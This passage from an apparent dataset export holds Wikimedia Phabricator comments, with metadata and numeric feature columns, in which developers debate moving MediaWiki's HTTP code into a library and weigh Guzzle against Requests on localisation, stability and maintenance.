This means we can be reasonably certain that we can always use the latest stable version of the library, with upstream support for any issues that may arise in either its public interface or compatibility with any of the PHP versions MediaWiki supports.

It also means there likely isn't going to be a major release any time soon that would drop support for a PHP version we support, or that would make a breaking change in its public interface. This reduces the chances of getting stuck with an older or unsupported version.
",,,1534264978,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,162,True,1.5,0.0,1.5,0.0,1.0,9.5,3.0,0.0,0.0,0.0,3.0,1.5,0.0,0.0,0.5,3.5,0.0,6.5,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,1.5,0.0,6.5,1.5,1.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,5.0,0.0,0.5,0.0,0.5,0.5,12.5,2.0,1.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.5,0.5,0.0,0.5,0.0,4.5,4.0,9.5,1.5,3.0,9.5,0.0,0.0,0.0,2.5,4.0,0.0,0.0,0.0,5.0,12.0,4.5,0.0,0.0,0.0,5.0,0.0,1.0,2.5,0.0,1.5,1.0,0.5,0.0,4.409090909090908,0.6666666666666667,"I agree that non-static state and active maintenance are desirable traits. I haven't recently checked either library for those aspects, but I trustSCREEN_NAME andSCREEN_NAME  that Guzzle is better in that regard.

I'd like to instead provide feedback on another aspect: Stability.

##### Stability

Being part of WordPress has a very strong benefit with regards to stability. In particular:

* WordPress is very serious about backwards compatibility.
* WordPress is very serious about PHP compatibility.

This means we can be reasonably certain that we can always use the latest stable version of the library, with upstream support for any issues that may arise in either its public interface or compatibility with any of the PHP versions MediaWiki supports.

It also means there likely isn't going to be a major release any time soon that would drop support for a PHP version we support, or that would make a breaking change in its public interface. This reduces the chances of getting stuck with an older or unsupported version.
"
1122379,Move HTTP-related code from MW to its own library,">>! In T110022#4479395, @Tgr wrote:
>>>! In T110022#4478166, @Krinkle wrote:
>> We'd basically map the exception class to a localisation message somewhere [..]
> 
> [..]
> Mapping by class is not really useful. Mapping by message would involve regex parsing messages - possible but a bit icky (also fragile).

>>! In T110022#4483081, @BPirkle wrote:
> I wish we could map by exception class, but it seems challenging to do that in a useful way.   [..]

I was suggesting only a simple map, or a catch-all even – not any form of message extraction. Looking at MediaWiki's current `Http`, `MWHttpRequest` and `MultiHttpClient` class, we also don't provide localisation for low-level details about the error, such as the path to a CA bundle. We have those in exception messages only, not localised. The only user-facing messages we have are:

1. `http-invalid-url ($1: url)` – Based on a validation check before the request is made.
2. `http-bad-status ($1: statusCode, $2: statusText)` – After a successful response, read from a public interface.
3.  `http-internal-error` (//no params//) – Everything else.

This is feasible with either of the two library options (Guzzle and Requests), and likely other libraries as well.",,,1534264869,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,162,True,1.0,0.5,0.0,0.5,1.5,5.5,0.5,0.0,0.0,0.0,1.5,0.5,0.0,1.5,0.0,2.0,0.5,5.5,7.0,0.5,0.0,0.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,13.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.0,2.5,14.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,2.0,7.0,7.5,0.0,0.0,0.0,2.0,0.0,0.0,3.5,0.0,1.5,0.0,0.0,2.5,3.6341463414634148,0.7195121951219512,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

QUOTE
QUOTE

I was suggesting only a simple map, or a catch-all even – not any form of message extraction. Looking at MediaWiki's current CODE, CODE and CODE class, we also don't provide localisation for low-level details about the error, such as the path to a CA bundle. We have those in exception messages only, not localised. The only user-facing messages we have are:

1. CODE – Based on a validation check before the request is made.
2. CODE – After a successful response, read from a public interface.
3.  CODE (//no params//) – Everything else.

This is feasible with either of the two library options (Guzzle and Requests), and likely other libraries as well."
1119983,Move HTTP-related code from MW to its own library,"I’m also a soft lean to Guzzle.  It seems more active recently than most of the alternatives, suitable to our needs, and generally popular.  I hate to overweigh “popularity” as a metric, but in the case of open source, momentum doesn’t hurt.  It is also much easier to google for, as searching for ""requests"" gives a flood of false positives.

It seems like Requests is less active - the author says as much here:
    https://github.com/rmccue/Requests/issues/320
However, that’s not necessarily negative, it could simply mean the library is stable.  Its continued use WordPress should help maintain its critical mass, and gives us a reference implementation (for whatever that is or isn't worth).

My goals with this conversation are
1) avoid burning  unnecessary time by exploring obvious dead ends, or missing an obvious winner
2) gather sufficient consensus and detail to create a properly focused subtask for the actual implementation

I don't mind at all doing exploratory implementations with both Guzzle and Requests as part of that process.  (In fact, I already have them both installed in my local copy of mediawiki and have confirmed that basic GET operations work happily with both.)

At this point, I think I'll explore Guzzle for more sophisticated usages, and await comments from @Krinkle to decide if I should do the same for Requests.",,,1533833081,,PHID-USER-d23voycoc6fi22r36djr,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,False,,,162,True,1.0,0.0,0.0,0.0,1.0,9.0,1.0,0.0,0.0,0.3333333333333333,2.6666666666666665,1.0,0.0,0.0,0.0,4.0,0.0,7.333333333333333,11.666666666666666,0.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,6.666666666666667,1.3333333333333333,2.0,1.3333333333333333,0.0,0.6666666666666666,0.0,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,10.333333333333334,0.6666666666666666,1.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.3333333333333333,1.0,0.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,4.0,2.0,8.333333333333334,0.6666666666666666,3.3333333333333335,7.0,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.6666666666666666,0.0,6.333333333333333,11.666666666666666,3.3333333333333335,0.0,0.6666666666666666,0.0,6.333333333333333,0.0,0.3333333333333333,2.0,0.6666666666666666,1.6666666666666667,1.3333333333333333,0.3333333333333333,0.0,4.1016229712858925,0.7508947149396588,"I’m also a soft lean to Guzzle.  It seems more active recently than most of the alternatives, suitable to our needs, and generally popular.  I hate to overweigh “popularity” as a metric, but in the case of open source, momentum doesn’t hurt.  It is also much easier to google for, as searching for ""requests"" gives a flood of false positives.

It seems like Requests is less active - the author says as much here:
    URL
However, that’s not necessarily negative, it could simply mean the library is stable.  Its continued use WordPress should help maintain its critical mass, and gives us a reference implementation (for whatever that is or isn't worth).

My goals with this conversation are
1) avoid burning  unnecessary time by exploring obvious dead ends, or missing an obvious winner
2) gather sufficient consensus and detail to create a properly focused subtask for the actual implementation

I don't mind at all doing exploratory implementations with both Guzzle and Requests as part of that process.  (In fact, I already have them both installed in my local copy of mediawiki and have confirmed that basic GET operations work happily with both.)

At this point, I think I'll explore Guzzle for more sophisticated usages, and await comments fromSCREEN_NAME to decide if I should do the same for Requests."
1119907,Move HTTP-related code from MW to its own library,">>! In T110022#4486858, @BPirkle wrote:
> Localization questions aside, it seemed that in 2016 (on T139169), @Krinkle preferred Requests, while @Tgr preferred Guzzle.  Do each of you still feel the same

Oops, I forgot to follow up there, did it now (god bless Phabricator drafts). I'm not familiar with Requests but at a glance Guzzle seems like a much more mature library.

> and are there any additional possibilities that you've become aware of since then?

The ones that are prominent enough to have a HTTPlug connector are [[https://github.com/zendframework/zend-http|Zend]], [[https://github.com/kriswallsmith/Buzz|Buzz]] and the [[https://book.cakephp.org/3.0/en/core-libraries/httpclient.html|Cake client]] (and [[https://github.com/reactphp/http-client|React]] and [[https://github.com/amphp/artax|Artax]] but looping clients are not really appropriate for us).",,,1533827811,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,162,True,1.0,0.0,0.0,0.0,2.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,10.0,7.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,20.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,3.0,18.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,1.0,3.0,1.0,1.0,1.0,0.0,10.0,3.4065934065934065,0.6373626373626373,"QUOTE
QUOTE

Oops, I forgot to follow up there, did it now (god bless Phabricator drafts). I'm not familiar with Requests but at a glance Guzzle seems like a much more mature library.

QUOTE

The ones that are prominent enough to have a HTTPlug connector are [[URL [[URL and the [[URL client]] (and [[URL and [[URL but looping clients are not really appropriate for us)."
1119887,Move HTTP-related code from MW to its own library,"FWIW, I'd maybe offer a soft poke in the direction of Guzzle, mostly because I find that having REST-y functionality integrated can be helpful.  But it's not something that I feel strongly about.",,,1533826285,,PHID-USER-jzttt2rzt4bpbzkerkod,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,False,,,162,True,0.0,2.0,2.0,0.0,2.0,5.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,10.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,17.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,12.0,10.0,0.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.880952380952381,0.8809523809523809,"FWIW, I'd maybe offer a soft poke in the direction of Guzzle, mostly because I find that having REST-y functionality integrated can be helpful.  But it's not something that I feel strongly about."
1118661,Move HTTP-related code from MW to its own library,"Localization questions aside, it seemed that in 2016 (on T139169), @Krinkle preferred Requests, while @Tgr preferred Guzzle.  Do each of you still feel the same, and are there any additional possibilities that you've become aware of since then?",,,1533681306,,PHID-USER-d23voycoc6fi22r36djr,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,False,,,161,True,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,5.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,11.0,5.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,14.0,5.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.931818181818182,0.8636363636363636,"Localization questions aside, it seemed that in 2016 (on T139169),SCREEN_NAME preferred Requests, whileSCREEN_NAME preferred Guzzle.  Do each of you still feel the same, and are there any additional possibilities that you've become aware of since then?"
1117686,Move HTTP-related code from MW to its own library,"I wish we could map by exception class, but it seems challenging to do that in a useful way.  Looking at the two libraries that have been mentioned:

Guzzle tends to throw generic exception classes.  The most popular appear to be:
  - InvalidArgumentException (49 occurrences)
  - LogicException (6 occurrences)
  - RuntimeException (33 occurrences)

Requests, on the other hand, pretty much only throws Requests_Exception (29 occurrences)

In neither case would a message based on the exception class be helpful for diagnosing an issue.  The exception message is the interesting part, and also the hardest part to localize.

Who would our intended audience be for localized exception messages?  They're probably incomprehensible to end users whether translated or not, and I'm assuming that developers speak sufficient English to read the untranslated messages (given that the code and its comments are in English).  So are localized exception messages intended for people who administer/configure mediawiki sites?  I'm wondering if they need to be translated at all.

The other aspect is that what constitutes an ""exception"" to a library may be a different thing than what constitutes an exception to the calling code.  A socket timeout may constitute an exception to Requests, but I'm guessing that calling code would want to catch that and give a meaningful message in the context of whatever operation was being performed.

I very much like the idea of having centralized, or at least consistent, ways of handling things.  But in this situation, I wonder if on a practical level we'll find that the fact that something is a ""library"" implies that its calling code must interpret exceptions on a case-by-case basis.",,,1533596353,,PHID-USER-d23voycoc6fi22r36djr,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,False,,,161,True,0.75,0.25,0.25,1.25,0.25,4.5,1.75,0.0,0.0,0.5,1.25,1.25,0.0,0.25,0.0,2.5,0.5,3.0,11.5,0.25,2.0,0.25,0.0,0.25,0.25,0.0,0.0,0.0,0.75,1.0,0.0,5.5,1.0,0.75,0.5,0.0,0.5,0.0,0.25,1.0,0.25,0.5,0.0,3.75,0.0,0.25,0.0,0.25,0.75,12.5,0.75,1.0,0.25,0.25,0.0,0.5,0.0,0.5,0.5,0.0,0.25,0.0,0.0,0.5,0.0,0.5,0.0,7.0,3.5,6.5,2.75,2.5,8.5,0.0,0.0,0.0,0.0,4.5,0.0,1.25,0.0,3.75,11.5,1.75,0.5,1.0,0.0,3.75,0.0,1.5,3.5,0.0,3.0,0.0,0.75,0.0,4.339285714285714,0.7410714285714286,"I wish we could map by exception class, but it seems challenging to do that in a useful way.  Looking at the two libraries that have been mentioned:

Guzzle tends to throw generic exception classes.  The most popular appear to be:
  - InvalidArgumentException (49 occurrences)
  - LogicException (6 occurrences)
  - RuntimeException (33 occurrences)

Requests, on the other hand, pretty much only throws Requests_Exception (29 occurrences)

In neither case would a message based on the exception class be helpful for diagnosing an issue.  The exception message is the interesting part, and also the hardest part to localize.

Who would our intended audience be for localized exception messages?  They're probably incomprehensible to end users whether translated or not, and I'm assuming that developers speak sufficient English to read the untranslated messages (given that the code and its comments are in English).  So are localized exception messages intended for people who administer/configure mediawiki sites?  I'm wondering if they need to be translated at all.

The other aspect is that what constitutes an ""exception"" to a library may be a different thing than what constitutes an exception to the calling code.  A socket timeout may constitute an exception to Requests, but I'm guessing that calling code would want to catch that and give a meaningful message in the context of whatever operation was being performed.

I very much like the idea of having centralized, or at least consistent, ways of handling things.  But in this situation, I wonder if on a practical level we'll find that the fact that something is a ""library"" implies that its calling code must interpret exceptions on a case-by-case basis."
1116801,Move HTTP-related code from MW to its own library,">>! In T110022#4478166, @Krinkle wrote:
> We'd basically map the exception class to a localisation message somewhere, quite similar to what we already do for various exception types in various places. Perhaps we could centralise that a bit within MediaWiki :)

The fundamental concept in MediaWiki's localization system (and in localization systems in general, I suppose) is the separation of message types and parameters. That's hard to do in a wrapper. To take a random example, Guzzle does this:
```
if (!file_exists($options['verify'])) {
    throw new \InvalidArgumentException(
        ""SSL CA bundle not found: {$options['verify']}""
    );
}
```
Mapping by class is not really useful. Mapping by message would involve regex parsing messages - possible but a bit icky (also fragile).",,,1533469614,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,161,True,0.0,0.0,0.0,0.0,1.0,9.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,13.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,11.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,3.9647058823529413,0.7176470588235294,"QUOTE
QUOTE

The fundamental concept in MediaWiki's localization system (and in localization systems in general, I suppose) is the separation of message types and parameters. That's hard to do in a wrapper. To take a random example, Guzzle does this:
``CODE``
Mapping by class is not really useful. Mapping by message would involve regex parsing messages - possible but a bit icky (also fragile)."
1116442,Move HTTP-related code from MW to its own library,"A wrapper would be straight-forward indeed, but another idea to consider could be to handle localisation at a higher layer that catches the exception, and responsible for printing it in some way. That approach might be easier to scale to other libraries we use, including those used indirectly by other libraries that we don't control.

We'd basically map the exception class to a localisation message somewhere, quite similar to what we already do for various exception types in various places. Perhaps we could centralise that a bit within MediaWiki :)
",,,1533350971,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,161,True,0.5,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,4.5,0.0,8.5,10.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,0.0,3.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,1.0,0.5,0.0,9.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,2.0,0.0,0.0,1.0,0.5,0.0,4.5,1.5,4.0,1.0,1.0,6.5,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,10.5,1.0,0.0,0.0,0.0,5.0,0.0,2.5,3.0,0.0,1.0,1.0,0.0,0.0,4.534690799396682,0.8444570135746606,"A wrapper would be straight-forward indeed, but another idea to consider could be to handle localisation at a higher layer that catches the exception, and responsible for printing it in some way. That approach might be easier to scale to other libraries we use, including those used indirectly by other libraries that we don't control.

We'd basically map the exception class to a localisation message somewhere, quite similar to what we already do for various exception types in various places. Perhaps we could centralise that a bit within MediaWiki :)
"
1116115,Move HTTP-related code from MW to its own library,"If we do care about localization, there's also the possibility of wrapping an external library in custom code that does support localization.  Current http-* entries in en.json are fairly generic and could continue to be so.  The external library would handle the details of the actual request, including the fallback from curl to php streams as necessary.  In that model, MWHttpRequest and MultiHttpClient continue to exist, but much simplified compared to their current implementations.  From my brief read, Wordpress used that approach.",,,1533311612,,PHID-USER-d23voycoc6fi22r36djr,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,False,,,161,True,1.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,2.0,0.0,4.0,14.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,8.0,1.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,14.0,5.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,4.673469387755102,0.7346938775510204,"If we do care about localization, there's also the possibility of wrapping an external library in custom code that does support localization.  Current http-* entries in en.json are fairly generic and could continue to be so.  The external library would handle the details of the actual request, including the fallback from curl to php streams as necessary.  In that model, MWHttpRequest and MultiHttpClient continue to exist, but much simplified compared to their current implementations.  From my brief read, Wordpress used that approach."
1115285,Move HTTP-related code from MW to its own library,"Usually the main limitation of external libraries is that they don't support localization (of error messages, mainly). Not sure if we actually care about that in the case of not particularly user-facing libraries, or just took advantage of it because it was free...",,,1533229684,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,161,True,0.0,0.0,0.0,0.0,6.0,8.0,4.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,15.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,6.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.288461538461538,0.8461538461538461,"Usually the main limitation of external libraries is that they don't support localization (of error messages, mainly). Not sure if we actually care about that in the case of not particularly user-facing libraries, or just took advantage of it because it was free..."
1115224,Move HTTP-related code from MW to its own library,"This task has been around for awhile, and related discussion and action has since occurred elsewhere.  To summarize from this task and from T139169, T137926, and T139170:

- we would like to make curl optional (with a suitable warning)

- we made MultiHttpClient work without curl in T139169, but at the cost of introducing an undesirable dependency on MWHttpRequest, which is currently not within includes/libs.  So in solving one issue, we created another.

- we should either use an external library, or create our own.  Options presented were: 
— Requests (https://packagist.org/packages/rmccue/requests), used by WordPress
— Guzzle (http://docs.guzzlephp.org), originally required curl but now has a fallback to PHP streams
— librarize our existing code (per this tasks description) . Requires librarizing some dependencies (StatusValue, etc.)

Here’s an article about when Wordpress switched to Requests: https://make.wordpress.org/core/2016/07/27/http-api-in-4-6/  Scroll down to the comments for some (admittedly dated) discussion of Requests vs Guzzle from their perspective.

I support pursuing using an external library, as there seem to be (at least) two suitable existing options.  MultiHttpClient might be a good place to start, as it is currently breaking our rules.  I'm happy to create a task for that and take it on, but before I get started I'm curious if the summary I just wrote above still accurately reflects our larger goals, and if there are additional thoughts I should consider.",,,1533225489,,PHID-USER-d23voycoc6fi22r36djr,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,False,,,161,True,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,4.666666666666667,0.6666666666666666,0.0,0.0,0.6666666666666666,1.3333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,5.0,0.6666666666666666,5.666666666666667,12.0,0.0,1.6666666666666667,0.6666666666666666,0.3333333333333333,0.0,2.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,5.0,0.6666666666666666,0.6666666666666666,1.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,2.0,0.0,0.3333333333333333,0.6666666666666666,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,10.333333333333334,0.3333333333333333,1.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,1.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,2.3333333333333335,11.0,1.0,3.6666666666666665,6.333333333333333,0.0,0.0,0.0,0.0,4.333333333333333,0.0,0.6666666666666666,0.0,6.0,12.0,5.666666666666667,0.0,0.0,0.0,6.0,0.0,0.6666666666666666,2.6666666666666665,0.0,2.6666666666666665,0.3333333333333333,0.3333333333333333,0.6666666666666666,4.153473652100968,0.7464348356592693,"This task has been around for awhile, and related discussion and action has since occurred elsewhere.  To summarize from this task and from T139169, T137926, and T139170:

- we would like to make curl optional (with a suitable warning)

- we made MultiHttpClient work without curl in T139169, but at the cost of introducing an undesirable dependency on MWHttpRequest, which is currently not within includes/libs.  So in solving one issue, we created another.

- we should either use an external library, or create our own.  Options presented were: 
— Requests (URL used by WordPress
— Guzzle (URL originally required curl but now has a fallback to PHP streams
— librarize our existing code (per this tasks description) . Requires librarizing some dependencies (StatusValue, etc.)

Here’s an article about when Wordpress switched to Requests: URL  Scroll down to the comments for some (admittedly dated) discussion of Requests vs Guzzle from their perspective.

I support pursuing using an external library, as there seem to be (at least) two suitable existing options.  MultiHttpClient might be a good place to start, as it is currently breaking our rules.  I'm happy to create a task for that and take it on, but before I get started I'm curious if the summary I just wrote above still accurately reflects our larger goals, and if there are additional thoughts I should consider."
1042688,Move HTTP-related code from MW to its own library,">>! In T110022#4095918, @Dereckson wrote:
> @Addshore The https://github.com/addwiki/mediawiki-api-base/issues/5 link has expired

Removed from the description.
The tasks were moved to phab, but I cant remember which one #5 was...",,,1522671130,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,143,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,18.0,0.0,4.0,11.0,0.0,0.0,0.0,4.0,4.0,0.0,7.0,0.0,4.0,7.0,7.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.9285714285714286,"QUOTE
QUOTE

Removed from the description.
The tasks were moved to phab, but I cant remember which one #5 was..."
1042447,Move HTTP-related code from MW to its own library,@Addshore The https://github.com/addwiki/mediawiki-api-base/issues/5 link has expired,,,1522592968,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,False,,,143,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,50.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.166666666666667,1.0,SCREEN_NAME The URL link has expired
900975,Move HTTP-related code from MW to its own library,"Per <https://gerrit.wikimedia.org/r/#/c/356121/>, a good starting point would be to move the (new) `HttpAcceptNegotiator` and `HttpAcceptParser` classes to a Packagist-published PHP library.

We can later consider moving other classes to it as well (such as `Http::request`, `MWHttpRequest`, and `MultiHttpClient`).",,,1501009178,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,107,True,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,20.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,10.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,3.42,0.72,"Per <URL a good starting point would be to move the (new) CODE and CODE classes to a Packagist-published PHP library.

We can later consider moving other classes to it as well (such as CODE, CODE, and CODE)."
754797,Move HTTP-related code from MW to its own library,"I poked at librarizing `includes/http` recently - the dependencies are CookieJar, Status[Value] and at-ease. So StatusValue would have to be librarized first. Also the current interface is rather ugly.",,,1478131779,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,70,True,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,19.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,8.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.5,0.8611111111111112,"I poked at librarizing CODE recently - the dependencies are CookieJar, Status[Value] and at-ease. So StatusValue would have to be librarized first. Also the current interface is rather ugly."
